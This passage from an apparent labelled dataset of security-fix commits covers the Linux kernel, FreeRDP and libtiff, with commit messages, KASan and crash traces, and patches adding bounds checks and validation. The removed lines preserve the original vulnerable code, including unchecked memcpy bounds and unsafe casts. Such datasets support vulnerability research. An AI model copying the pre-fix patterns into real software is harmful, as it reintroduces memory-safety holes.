\t\t\t\tstruct iattr attr;\n@@ -247,8 +248,6 @@ int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type)\n \t\t\t\tif (rc < 0)\n \t\t\t\t\treturn rc;\n \t\t\t}\n-\t\t\tif (rc == 0)\n-\t\t\t\tacl = NULL;\n \t\t}\n \t\tbreak;\n \tcase ACL_TYPE_DEFAULT:", "sections": [{"section": "@@ -233,9 +233,10 @@ int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type)\n \tcase ACL_TYPE_ACCESS:\n \t\txprefix = JFFS2_XPREFIX_ACL_ACCESS;\n \t\tif (acl) {\n-\t\t\tumode_t mode = inode->i_mode;\n-\t\t\trc = posix_acl_equiv_mode(acl, &mode);\n-\t\t\tif (rc < 0)\n+\t\t\tumode_t mode;\n+\n+\t\t\trc = posix_acl_update_mode(inode, &mode, &acl);\n+\t\t\tif (rc)\n \t\t\t\treturn rc;\n \t\t\tif (inode->i_mode != mode) {\n \t\t\t\tstruct iattr attr;\n", "related": false}, {"section": "@@ -247,8 +248,6 @@ int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type)\n \t\t\t\tif (rc < 0)\n \t\t\t\t\treturn rc;\n \t\t\t}\n-\t\t\tif (rc == 0)\n-\t\t\t\tacl = NULL;\n \t\t}\n \t\tbreak;\n \tcase ACL_TYPE_DEFAULT:", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/linux/netdevice.h", "commit_id": "fac8e0f579695a3ecbc4d3cac369139d7f819971", "commit_message": "tunnels: Don't apply GRO to multiple layers of encapsulation.\n\nWhen drivers express support for TSO of encapsulated packets, they\nonly mean that they can do it for one layer of encapsulation.\nSupporting additional levels would mean updating, at a minimum,\nmore IP length fields and they are unaware of this.\n\nNo encapsulation device expresses support for handling offloaded\nencapsulated packets, so we won't generate these types of frames\nin the transmit path. However, GRO doesn't have a check for\nmultiple levels of encapsulation and will attempt to build them.\n\nUDP tunnel GRO actually does prevent this situation but it only\nhandles multiple UDP tunnels stacked on top of each other. This\ngeneralizes that solution to prevent any kind of tunnel stacking\nthat would cause problems.\n\nFixes: bf5a755f (\"net-gre-gro: Add GRE support to the GRO stack\")\nSigned-off-by: Jesse Gross \nSigned-off-by: David S. Miller ", "patch": "@@ -2096,8 +2096,8 @@ struct napi_gro_cb {\n \t/* This is non-zero if the packet may be of the same flow. */\n \tu8\tsame_flow:1;\n \n-\t/* Used in udp_gro_receive */\n-\tu8\tudp_mark:1;\n+\t/* Used in tunnel GRO receive */\n+\tu8\tencap_mark:1;\n \n \t/* GRO checksum is valid */\n \tu8\tcsum_valid:1;", "sections": [{"section": "@@ -2096,8 +2096,8 @@ struct napi_gro_cb {\n \t/* This is non-zero if the packet may be of the same flow. */\n \tu8\tsame_flow:1;\n \n-\t/* Used in udp_gro_receive */\n-\tu8\tudp_mark:1;\n+\t/* Used in tunnel GRO receive */\n+\tu8\tencap_mark:1;\n \n \t/* GRO checksum is valid */\n \tu8\tcsum_valid:1;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/ext4/xattr.h", "commit_id": "82939d7999dfc1f1998c4b1c12e2f19edbdff272", "commit_message": "ext4: convert to mbcache2\n\nThe conversion is generally straightforward. The only tricky part is\nthat xattr block corresponding to found mbcache entry can get freed\nbefore we get buffer lock for that block. So we have to check whether\nthe entry is still valid after getting buffer lock.\n\nSigned-off-by: Jan Kara \nSigned-off-by: Theodore Ts'o ", "patch": "@@ -108,7 +108,6 @@ extern int ext4_xattr_set(struct inode *, int, const char *, const void *, size_\n extern int ext4_xattr_set_handle(handle_t *, struct inode *, int, const char *, const void *, size_t, int);\n \n extern void ext4_xattr_delete_inode(handle_t *, struct inode *);\n-extern void ext4_xattr_put_super(struct super_block *);\n \n extern int ext4_expand_extra_isize_ea(struct inode *inode, int new_extra_isize,\n \t\t\t struct ext4_inode *raw_inode, handle_t *handle);\n@@ -124,8 +123,8 @@ extern int ext4_xattr_ibody_inline_set(handle_t *handle, struct inode *inode,\n \t\t\t\t struct ext4_xattr_info *i,\n \t\t\t\t struct ext4_xattr_ibody_find *is);\n \n-extern struct mb_cache *ext4_xattr_create_cache(char *name);\n-extern void ext4_xattr_destroy_cache(struct mb_cache *);\n+extern struct mb2_cache *ext4_xattr_create_cache(void);\n+extern void ext4_xattr_destroy_cache(struct mb2_cache *);\n \n #ifdef CONFIG_EXT4_FS_SECURITY\n extern int ext4_init_security(handle_t *handle, struct inode *inode,", "sections": [{"section": "@@ -108,7 +108,6 @@ extern int ext4_xattr_set(struct inode *, int, const char *, const void *, size_\n extern int ext4_xattr_set_handle(handle_t *, struct inode *, int, const char *, const void *, size_t, int);\n \n extern void ext4_xattr_delete_inode(handle_t *, struct inode *);\n-extern void ext4_xattr_put_super(struct super_block *);\n \n extern int ext4_expand_extra_isize_ea(struct inode *inode, int new_extra_isize,\n \t\t\t struct ext4_inode *raw_inode, handle_t *handle);\n", "related": false}, {"section": "@@ -124,8 +123,8 @@ extern int ext4_xattr_ibody_inline_set(handle_t *handle, struct inode *inode,\n \t\t\t\t struct ext4_xattr_info *i,\n \t\t\t\t struct ext4_xattr_ibody_find *is);\n \n-extern struct mb_cache *ext4_xattr_create_cache(char *name);\n-extern void ext4_xattr_destroy_cache(struct mb_cache *);\n+extern struct mb2_cache *ext4_xattr_create_cache(void);\n+extern void ext4_xattr_destroy_cache(struct mb2_cache *);\n \n #ifdef CONFIG_EXT4_FS_SECURITY\n extern int ext4_init_security(handle_t *handle, struct inode *inode,", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/arm64/kernel/perf_event.c", "commit_id": "8fff105e13041e49b82f92eef034f363a6b1c071", "commit_message": "arm64: perf: reject groups spanning multiple HW PMUs\n\nThe perf core implicitly rejects events spanning multiple HW PMUs, as in\nthese cases the event->ctx will differ. However this validation is\nperformed after pmu::event_init() is called in perf_init_event(), and\nthus pmu::event_init() may be called with a group leader from a\ndifferent HW PMU.\n\nThe ARM64 PMU driver does not take this fact into account, and when\nvalidating groups assumes that it can call to_arm_pmu(event->pmu) for\nany HW event. When the event in question is from another HW PMU this is\nwrong, and results in dereferencing garbage.\n\nThis patch updates the ARM64 PMU driver to first test for and reject\nevents from other PMUs, moving the to_arm_pmu and related logic after\nthis test. Fixes a crash triggered by perf_fuzzer on Linux-4.0-rc2, with\na CCI PMU present:\n\nBad mode in Synchronous Abort handler detected, code 0x86000006 -- IABT (current EL)\nCPU: 0 PID: 1371 Comm: perf_fuzzer Not tainted 3.19.0+ #249\nHardware name: V2F-1XV7 Cortex-A53x2 SMM (DT)\ntask: ffffffc07c73a280 ti: ffffffc07b0a0000 task.ti: ffffffc07b0a0000\nPC is at 0x0\nLR is at validate_event+0x90/0xa8\npc : [<0000000000000000>] lr : [] pstate: 00000145\nsp : ffffffc07b0a3ba0\n\n[< (null)>] (null)\n[] armpmu_event_init+0x174/0x3cc\n[] perf_try_init_event+0x34/0x70\n[] perf_init_event+0xe0/0x10c\n[] perf_event_alloc+0x288/0x358\n[] SyS_perf_event_open+0x464/0x98c\nCode: bad PC value\n\nAlso cleans up the code to use the arm_pmu only when we know\nthat we are dealing with an arm pmu event.\n\nCc: Will Deacon \nAcked-by: Mark Rutland \nAcked-by: Peter Ziljstra (Intel) \nSigned-off-by: Suzuki K. Poulose \nSigned-off-by: Will Deacon ", "patch": "@@ -322,22 +322,31 @@ armpmu_add(struct perf_event *event, int flags)\n }\n \n static int\n-validate_event(struct pmu_hw_events *hw_events,\n-\t struct perf_event *event)\n+validate_event(struct pmu *pmu, struct pmu_hw_events *hw_events,\n+\t\t\t\tstruct perf_event *event)\n {\n-\tstruct arm_pmu *armpmu = to_arm_pmu(event->pmu);\n+\tstruct arm_pmu *armpmu;\n \tstruct hw_perf_event fake_event = event->hw;\n \tstruct pmu *leader_pmu = event->group_leader->pmu;\n \n \tif (is_software_event(event))\n \t\treturn 1;\n \n+\t/*\n+\t * Reject groups spanning multiple HW PMUs (e.g. CPU + CCI). The\n+\t * core perf code won't check that the pmu->ctx == leader->ctx\n+\t * until after pmu->event_init(event).\n+\t */\n+\tif (event->pmu != pmu)\n+\t\treturn 0;\n+\n \tif (event->pmu != leader_pmu || event->state < PERF_EVENT_STATE_OFF)\n \t\treturn 1;\n \n \tif (event->state == PERF_EVENT_STATE_OFF && !event->attr.enable_on_exec)\n \t\treturn 1;\n \n+\tarmpmu = to_arm_pmu(event->pmu);\n \treturn armpmu->get_event_idx(hw_events, &fake_event) >= 0;\n }\n \n@@ -355,15 +364,15 @@ validate_group(struct perf_event *event)\n \tmemset(fake_used_mask, 0, sizeof(fake_used_mask));\n \tfake_pmu.used_mask = fake_used_mask;\n \n-\tif (!validate_event(&fake_pmu, leader))\n+\tif (!validate_event(event->pmu, &fake_pmu, leader))\n \t\treturn -EINVAL;\n \n \tlist_for_each_entry(sibling, &leader->sibling_list, group_entry) {\n-\t\tif (!validate_event(&fake_pmu, sibling))\n+\t\tif (!validate_event(event->pmu, &fake_pmu, sibling))\n \t\t\treturn -EINVAL;\n \t}\n \n-\tif (!validate_event(&fake_pmu, event))\n+\tif (!validate_event(event->pmu, &fake_pmu, event))\n \t\treturn -EINVAL;\n \n \treturn 0;", "sections": [{"section": "@@ -322,22 +322,31 @@ armpmu_add(struct perf_event *event, int flags)\n }\n \n static int\n-validate_event(struct pmu_hw_events *hw_events,\n-\t struct perf_event *event)\n+validate_event(struct pmu *pmu, struct pmu_hw_events *hw_events,\n+\t\t\t\tstruct perf_event *event)\n {\n-\tstruct arm_pmu *armpmu = to_arm_pmu(event->pmu);\n+\tstruct arm_pmu *armpmu;\n \tstruct hw_perf_event fake_event = event->hw;\n \tstruct pmu *leader_pmu = event->group_leader->pmu;\n \n \tif (is_software_event(event))\n \t\treturn 1;\n \n+\t/*\n+\t * Reject groups spanning multiple HW PMUs (e.g. CPU + CCI). The\n+\t * core perf code won't check that the pmu->ctx == leader->ctx\n+\t * until after pmu->event_init(event).\n+\t */\n+\tif (event->pmu != pmu)\n+\t\treturn 0;\n+\n \tif (event->pmu != leader_pmu || event->state < PERF_EVENT_STATE_OFF)\n \t\treturn 1;\n \n \tif (event->state == PERF_EVENT_STATE_OFF && !event->attr.enable_on_exec)\n \t\treturn 1;\n \n+\tarmpmu = to_arm_pmu(event->pmu);\n \treturn armpmu->get_event_idx(hw_events, &fake_event) >= 0;\n }\n \n", "related": true}, {"section": "@@ -355,15 +364,15 @@ validate_group(struct perf_event *event)\n \tmemset(fake_used_mask, 0, sizeof(fake_used_mask));\n \tfake_pmu.used_mask = fake_used_mask;\n \n-\tif (!validate_event(&fake_pmu, leader))\n+\tif (!validate_event(event->pmu, &fake_pmu, leader))\n \t\treturn -EINVAL;\n \n \tlist_for_each_entry(sibling, &leader->sibling_list, group_entry) {\n-\t\tif (!validate_event(&fake_pmu, sibling))\n+\t\tif (!validate_event(event->pmu, &fake_pmu, sibling))\n \t\t\treturn -EINVAL;\n \t}\n \n-\tif (!validate_event(&fake_pmu, event))\n+\tif (!validate_event(event->pmu, &fake_pmu, event))\n \t\treturn -EINVAL;\n \n \treturn 0;", "related": true}]} +{"owner": "freerdp", "repo": "freerdp", "language": "C", "file_name": "libfreerdp/core/nla.c", "commit_id": "0773bb9303d24473fe1185d85a424dfe159aff53", "commit_message": "nla: invalidate sec handle after creation\n\nIf sec pointer isn't invalidated after creation it is not possible\nto check if the upper and lower pointers are valid.\n\nThis fixes a segfault in the server part if the client disconnects before\nthe authentication was finished.", "patch": "@@ -1245,6 +1245,7 @@ rdpCredssp* credssp_new(freerdp* instance, rdpTransport* transport, rdpSettings*\n \t\tZeroMemory(&credssp->negoToken, sizeof(SecBuffer));\n \t\tZeroMemory(&credssp->pubKeyAuth, sizeof(SecBuffer));\n \t\tZeroMemory(&credssp->authInfo, sizeof(SecBuffer));\n+\t\tSecInvalidateHandle(&credssp->context);\n \n \t\tif (credssp->server)\n \t\t{", "sections": [{"section": "@@ -1245,6 +1245,7 @@ rdpCredssp* credssp_new(freerdp* instance, rdpTransport* transport, rdpSettings*\n \t\tZeroMemory(&credssp->negoToken, sizeof(SecBuffer));\n \t\tZeroMemory(&credssp->pubKeyAuth, sizeof(SecBuffer));\n \t\tZeroMemory(&credssp->authInfo, sizeof(SecBuffer));\n+\t\tSecInvalidateHandle(&credssp->context);\n \n \t\tif (credssp->server)\n \t\t{", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/net/tcp.h", "commit_id": "ac6e780070e30e4c35bd395acfe9191e6268bdd3", "commit_message": "tcp: take care of truncations done by sk_filter()\n\nWith syzkaller help, Marco Grassi found a bug in TCP stack,\ncrashing in tcp_collapse()\n\nRoot cause is that sk_filter() can truncate the incoming skb,\nbut TCP stack was not really expecting this to happen.\nIt probably was expecting a simple DROP or ACCEPT behavior.\n\nWe first need to make sure no part of TCP header could be removed.\nThen we need to adjust TCP_SKB_CB(skb)->end_seq\n\nMany thanks to syzkaller team and Marco for giving us a reproducer.\n\nSigned-off-by: Eric Dumazet \nReported-by: Marco Grassi \nReported-by: Vladis Dronov \nSigned-off-by: David S. Miller ", "patch": "@@ -1220,6 +1220,7 @@ static inline void tcp_prequeue_init(struct tcp_sock *tp)\n \n bool tcp_prequeue(struct sock *sk, struct sk_buff *skb);\n bool tcp_add_backlog(struct sock *sk, struct sk_buff *skb);\n+int tcp_filter(struct sock *sk, struct sk_buff *skb);\n \n #undef STATE_TRACE\n ", "sections": [{"section": "@@ -1220,6 +1220,7 @@ static inline void tcp_prequeue_init(struct tcp_sock *tp)\n \n bool tcp_prequeue(struct sock *sk, struct sk_buff *skb);\n bool tcp_add_backlog(struct sock *sk, struct sk_buff *skb);\n+int tcp_filter(struct sock *sk, struct sk_buff *skb);\n \n #undef STATE_TRACE\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "crypto/algif_hash.c", "commit_id": "4afa5f9617927453ac04b24b584f6c718dfb4f45", "commit_message": "crypto: algif_hash - Only export and import on sockets with data\n\nThe hash_accept call fails to work on sockets that have not received\nany data. For some algorithm implementations it may cause crashes.\n\nThis patch fixes this by ensuring that we only export and import on\nsockets that have received data.\n\nCc: stable@vger.kernel.org\nReported-by: Harsh Jain \nSigned-off-by: Herbert Xu \nTested-by: Stephan Mueller ", "patch": "@@ -181,9 +181,14 @@ static int hash_accept(struct socket *sock, struct socket *newsock, int flags)\n \tstruct sock *sk2;\n \tstruct alg_sock *ask2;\n \tstruct hash_ctx *ctx2;\n+\tbool more;\n \tint err;\n \n-\terr = crypto_ahash_export(req, state);\n+\tlock_sock(sk);\n+\tmore = ctx->more;\n+\terr = more ? crypto_ahash_export(req, state) : 0;\n+\trelease_sock(sk);\n+\n \tif (err)\n \t\treturn err;\n \n@@ -194,7 +199,10 @@ static int hash_accept(struct socket *sock, struct socket *newsock, int flags)\n \tsk2 = newsock->sk;\n \task2 = alg_sk(sk2);\n \tctx2 = ask2->private;\n-\tctx2->more = 1;\n+\tctx2->more = more;\n+\n+\tif (!more)\n+\t\treturn err;\n \n \terr = crypto_ahash_import(&ctx2->req, state);\n \tif (err) {", "sections": [{"section": "@@ -181,9 +181,14 @@ static int hash_accept(struct socket *sock, struct socket *newsock, int flags)\n \tstruct sock *sk2;\n \tstruct alg_sock *ask2;\n \tstruct hash_ctx *ctx2;\n+\tbool more;\n \tint err;\n \n-\terr = crypto_ahash_export(req, state);\n+\tlock_sock(sk);\n+\tmore = ctx->more;\n+\terr = more ? crypto_ahash_export(req, state) : 0;\n+\trelease_sock(sk);\n+\n \tif (err)\n \t\treturn err;\n \n", "related": false}, {"section": "@@ -194,7 +199,10 @@ static int hash_accept(struct socket *sock, struct socket *newsock, int flags)\n \tsk2 = newsock->sk;\n \task2 = alg_sk(sk2);\n \tctx2 = ask2->private;\n-\tctx2->more = 1;\n+\tctx2->more = more;\n+\n+\tif (!more)\n+\t\treturn err;\n \n \terr = crypto_ahash_import(&ctx2->req, state);\n \tif (err) {", "related": false}]} +{"owner": "vadz", "repo": "libtiff", "language": "C", "file_name": "tools/tiff2pdf.c", "commit_id": "83a4b92815ea04969d494416eaae3d4c6b338e4a", "commit_message": "* tools/tiffcrop.c: fix various out-of-bounds write vulnerabilities\nin heap or stack allocated buffers. Reported as MSVR 35093,\nMSVR 35096 and MSVR 35097. Discovered by Axel Souchet and Vishal\nChauhan from the MSRC Vulnerabilities & Mitigations team.\n* tools/tiff2pdf.c: fix out-of-bounds write vulnerabilities in\nheap allocate buffer in t2p_process_jpeg_strip(). Reported as MSVR\n35098. Discovered by Axel Souchet and Vishal Chauhan from the MSRC\nVulnerabilities & Mitigations team.\n* libtiff/tif_pixarlog.c: fix out-of-bounds write vulnerabilities\nin heap allocated buffers. Reported as MSVR 35094. Discovered by\nAxel Souchet and Vishal Chauhan from the MSRC Vulnerabilities &\nMitigations team.\n* libtiff/tif_write.c: fix issue in error code path of TIFFFlushData1()\nthat didn't reset the tif_rawcc and tif_rawcp members. I'm not\ncompletely sure if that could happen in practice outside of the odd\nbehaviour of t2p_seekproc() of tiff2pdf). The report points that a\nbetter fix could be to check the return value of TIFFFlushData1() in\nplaces where it isn't done currently, but it seems this patch is enough.\nReported as MSVR 35095. Discovered by Axel Souchet & Vishal Chauhan &\nSuha Can from the MSRC Vulnerabilities & Mitigations team.", "patch": "@@ -286,7 +286,7 @@ tsize_t t2p_readwrite_pdf_image_tile(T2P*, TIFF*, TIFF*, ttile_t);\n int t2p_process_ojpeg_tables(T2P*, TIFF*);\n #endif\n #ifdef JPEG_SUPPORT\n-int t2p_process_jpeg_strip(unsigned char*, tsize_t*, unsigned char*, tsize_t*, tstrip_t, uint32);\n+int t2p_process_jpeg_strip(unsigned char*, tsize_t*, unsigned char*, tsize_t, tsize_t*, tstrip_t, uint32);\n #endif\n void t2p_tile_collapse_left(tdata_t, tsize_t, uint32, uint32, uint32);\n void t2p_write_advance_directory(T2P*, TIFF*);\n@@ -2408,7 +2408,8 @@ tsize_t t2p_readwrite_pdf_image(T2P* t2p, TIFF* input, TIFF* output){\n \t\t\t\tif(!t2p_process_jpeg_strip(\n \t\t\t\t\tstripbuffer, \n \t\t\t\t\t&striplength, \n-\t\t\t\t\tbuffer, \n+\t\t\t\t\tbuffer,\n+ t2p->tiff_datasize,\n \t\t\t\t\t&bufferoffset, \n \t\t\t\t\ti, \n \t\t\t\t\tt2p->tiff_length)){\n@@ -3439,6 +3440,7 @@ int t2p_process_jpeg_strip(\n \tunsigned char* strip, \n \ttsize_t* striplength, \n \tunsigned char* buffer, \n+ tsize_t buffersize,\n \ttsize_t* bufferoffset, \n \ttstrip_t no, \n \tuint32 height){\n@@ -3473,6 +3475,8 @@ int t2p_process_jpeg_strip(\n \t\t}\n \t\tswitch( strip[i] ){\n \t\t\tcase 0xd8:\t/* SOI - start of image */\n+ if( *bufferoffset + 2 > buffersize )\n+ return(0);\n \t\t\t\t_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), 2);\n \t\t\t\t*bufferoffset+=2;\n \t\t\t\tbreak;\n@@ -3482,12 +3486,18 @@ int t2p_process_jpeg_strip(\n \t\t\tcase 0xc9:\t/* SOF9 */\n \t\t\tcase 0xca:\t/* SOF10 */\n \t\t\t\tif(no==0){\n+ if( *bufferoffset + datalen + 2 + 6 > buffersize )\n+ return(0);\n \t\t\t\t\t_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2);\n+ if( *bufferoffset + 9 >= buffersize )\n+ return(0);\n \t\t\t\t\tncomp = buffer[*bufferoffset+9];\n \t\t\t\t\tif (ncomp < 1 || ncomp > 4)\n \t\t\t\t\t\treturn(0);\n \t\t\t\t\tv_samp=1;\n \t\t\t\t\th_samp=1;\n+ if( *bufferoffset + 11 + 3*(ncomp-1) >= buffersize )\n+ return(0);\n \t\t\t\t\tfor(j=0;j>4) > h_samp) \n@@ -3519,20 +3529,28 @@ int t2p_process_jpeg_strip(\n \t\t\t\tbreak;\n \t\t\tcase 0xc4: /* DHT */\n \t\t\tcase 0xdb: /* DQT */\n+ if( *bufferoffset + datalen + 2 > buffersize )\n+ return(0);\n \t\t\t\t_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2);\n \t\t\t\t*bufferoffset+=datalen+2;\n \t\t\t\tbreak;\n \t\t\tcase 0xda: /* SOS */\n \t\t\t\tif(no==0){\n+ if( *bufferoffset + datalen + 2 > buffersize )\n+ return(0);\n \t\t\t\t\t_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2);\n \t\t\t\t\t*bufferoffset+=datalen+2;\n \t\t\t\t} else {\n+ if( *bufferoffset + 2 > buffersize )\n+ return(0);\n \t\t\t\t\tbuffer[(*bufferoffset)++]=0xff;\n \t\t\t\t\tbuffer[(*bufferoffset)++]=\n (unsigned char)(0xd0 | ((no-1)%8));\n \t\t\t\t}\n \t\t\t\ti += datalen + 1;\n \t\t\t\t/* copy remainder of strip */\n+ if( *bufferoffset + *striplength - i > buffersize )\n+ return(0);\n \t\t\t\t_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i]), *striplength - i);\n \t\t\t\t*bufferoffset+= *striplength - i;\n \t\t\t\treturn(1);", "sections": [{"section": "@@ -286,7 +286,7 @@ tsize_t t2p_readwrite_pdf_image_tile(T2P*, TIFF*, TIFF*, ttile_t);\n int t2p_process_ojpeg_tables(T2P*, TIFF*);\n #endif\n #ifdef JPEG_SUPPORT\n-int t2p_process_jpeg_strip(unsigned char*, tsize_t*, unsigned char*, tsize_t*, tstrip_t, uint32);\n+int t2p_process_jpeg_strip(unsigned char*, tsize_t*, unsigned char*, tsize_t, tsize_t*, tstrip_t, uint32);\n #endif\n void t2p_tile_collapse_left(tdata_t, tsize_t, uint32, uint32, uint32);\n void t2p_write_advance_directory(T2P*, TIFF*);\n", "related": false}, {"section": "@@ -2408,7 +2408,8 @@ tsize_t t2p_readwrite_pdf_image(T2P* t2p, TIFF* input, TIFF* output){\n \t\t\t\tif(!t2p_process_jpeg_strip(\n \t\t\t\t\tstripbuffer, \n \t\t\t\t\t&striplength, \n-\t\t\t\t\tbuffer, \n+\t\t\t\t\tbuffer,\n+ t2p->tiff_datasize,\n \t\t\t\t\t&bufferoffset, \n \t\t\t\t\ti, \n \t\t\t\t\tt2p->tiff_length)){\n", "related": false}, {"section": "@@ -3439,6 +3440,7 @@ int t2p_process_jpeg_strip(\n \tunsigned char* strip, \n \ttsize_t* striplength, \n \tunsigned char* buffer, \n+ tsize_t buffersize,\n \ttsize_t* bufferoffset, \n \ttstrip_t no, \n \tuint32 height){\n", "related": false}, {"section": "@@ -3473,6 +3475,8 @@ int t2p_process_jpeg_strip(\n \t\t}\n \t\tswitch( strip[i] ){\n \t\t\tcase 0xd8:\t/* SOI - start of image */\n+ if( *bufferoffset + 2 > buffersize )\n+ return(0);\n \t\t\t\t_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), 2);\n \t\t\t\t*bufferoffset+=2;\n \t\t\t\tbreak;\n", "related": false}, {"section": "@@ -3482,12 +3486,18 @@ int t2p_process_jpeg_strip(\n \t\t\tcase 0xc9:\t/* SOF9 */\n \t\t\tcase 0xca:\t/* SOF10 */\n \t\t\t\tif(no==0){\n+ if( *bufferoffset + datalen + 2 + 6 > buffersize )\n+ return(0);\n \t\t\t\t\t_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2);\n+ if( *bufferoffset + 9 >= buffersize )\n+ return(0);\n \t\t\t\t\tncomp = buffer[*bufferoffset+9];\n \t\t\t\t\tif (ncomp < 1 || ncomp > 4)\n \t\t\t\t\t\treturn(0);\n \t\t\t\t\tv_samp=1;\n \t\t\t\t\th_samp=1;\n+ if( *bufferoffset + 11 + 3*(ncomp-1) >= buffersize )\n+ return(0);\n \t\t\t\t\tfor(j=0;j>4) > h_samp) \n", "related": false}, {"section": "@@ -3519,20 +3529,28 @@ int t2p_process_jpeg_strip(\n \t\t\t\tbreak;\n \t\t\tcase 0xc4: /* DHT */\n \t\t\tcase 0xdb: /* DQT */\n+ if( *bufferoffset + datalen + 2 > buffersize )\n+ return(0);\n \t\t\t\t_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2);\n \t\t\t\t*bufferoffset+=datalen+2;\n \t\t\t\tbreak;\n \t\t\tcase 0xda: /* SOS */\n \t\t\t\tif(no==0){\n+ if( *bufferoffset + datalen + 2 > buffersize )\n+ return(0);\n \t\t\t\t\t_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2);\n \t\t\t\t\t*bufferoffset+=datalen+2;\n \t\t\t\t} else {\n+ if( *bufferoffset + 2 > buffersize )\n+ return(0);\n \t\t\t\t\tbuffer[(*bufferoffset)++]=0xff;\n \t\t\t\t\tbuffer[(*bufferoffset)++]=\n (unsigned char)(0xd0 | ((no-1)%8));\n \t\t\t\t}\n \t\t\t\ti += datalen + 1;\n \t\t\t\t/* copy remainder of strip */\n+ if( *bufferoffset + *striplength - i > buffersize )\n+ return(0);\n \t\t\t\t_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i]), *striplength - i);\n \t\t\t\t*bufferoffset+= *striplength - i;\n \t\t\t\treturn(1);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "lib/assoc_array.c", "commit_id": "8d4a2ec1e0b41b0cf9a0c5cd4511da7f8e4f3de2", "commit_message": "assoc_array: don't call compare_object() on a node\n\nChanges since V1: fixed the description and added KASan warning.\n\nIn assoc_array_insert_into_terminal_node(), we call the\ncompare_object() method on all non-empty slots, even when they're\nnot leaves, passing a pointer to an unexpected structure to\ncompare_object(). Currently it causes an out-of-bound read access\nin keyring_compare_object detected by KASan (see below). The issue\nis easily reproduced with keyutils testsuite.\nOnly call compare_object() when the slot is a leave.\n\nKASan warning:\n==================================================================\nBUG: KASAN: slab-out-of-bounds in keyring_compare_object+0x213/0x240 at addr ffff880060a6f838\nRead of size 8 by task keyctl/1655\n=============================================================================\nBUG kmalloc-192 (Not tainted): kasan: bad access detected\n-----------------------------------------------------------------------------\n\nDisabling lock debugging due to kernel taint\nINFO: Allocated in assoc_array_insert+0xfd0/0x3a60 age=69 cpu=1 pid=1647\n\t___slab_alloc+0x563/0x5c0\n\t__slab_alloc+0x51/0x90\n\tkmem_cache_alloc_trace+0x263/0x300\n\tassoc_array_insert+0xfd0/0x3a60\n\t__key_link_begin+0xfc/0x270\n\tkey_create_or_update+0x459/0xaf0\n\tSyS_add_key+0x1ba/0x350\n\tentry_SYSCALL_64_fastpath+0x12/0x76\nINFO: Slab 0xffffea0001829b80 objects=16 used=8 fp=0xffff880060a6f550 flags=0x3fff8000004080\nINFO: Object 0xffff880060a6f740 @offset=5952 fp=0xffff880060a6e5d1\n\nBytes b4 ffff880060a6f730: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nObject ffff880060a6f740: d1 e5 a6 60 00 88 ff ff 0e 00 00 00 00 00 00 00 ...`............\nObject ffff880060a6f750: 02 cf 8e 60 00 88 ff ff 02 c0 8e 60 00 88 ff ff ...`.......`....\nObject ffff880060a6f760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nObject ffff880060a6f770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nObject ffff880060a6f780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nObject ffff880060a6f790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nObject ffff880060a6f7a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nObject ffff880060a6f7b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nObject ffff880060a6f7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nObject ffff880060a6f7d0: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nObject ffff880060a6f7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nObject ffff880060a6f7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nCPU: 0 PID: 1655 Comm: keyctl Tainted: G B 4.5.0-rc4-kasan+ #291\nHardware name: Bochs Bochs, BIOS Bochs 01/01/2011\n 0000000000000000 000000001b2800b4 ffff880060a179e0 ffffffff81b60491\n ffff88006c802900 ffff880060a6f740 ffff880060a17a10 ffffffff815e2969\n ffff88006c802900 ffffea0001829b80 ffff880060a6f740 ffff880060a6e650\nCall Trace:\n [] dump_stack+0x85/0xc4\n [] print_trailer+0xf9/0x150\n [] object_err+0x34/0x40\n [] kasan_report_error+0x230/0x550\n [] ? keyring_get_key_chunk+0x13e/0x210\n [] __asan_report_load_n_noabort+0x5d/0x70\n [] ? keyring_compare_object+0x213/0x240\n [] keyring_compare_object+0x213/0x240\n [] assoc_array_insert+0x86c/0x3a60\n [] ? assoc_array_cancel_edit+0x70/0x70\n [] ? __key_link_begin+0x20d/0x270\n [] __key_link_begin+0xfc/0x270\n [] key_create_or_update+0x459/0xaf0\n [] ? trace_hardirqs_on+0xd/0x10\n [] ? key_type_lookup+0xc0/0xc0\n [] ? lookup_user_key+0x13d/0xcd0\n [] ? memdup_user+0x53/0x80\n [] SyS_add_key+0x1ba/0x350\n [] ? key_get_type_from_user.constprop.6+0xa0/0xa0\n [] ? retint_user+0x18/0x23\n [] ? trace_hardirqs_on_caller+0x3fe/0x580\n [] ? trace_hardirqs_on_thunk+0x17/0x19\n [] entry_SYSCALL_64_fastpath+0x12/0x76\nMemory state around the buggy address:\n ffff880060a6f700: fc fc fc fc fc fc 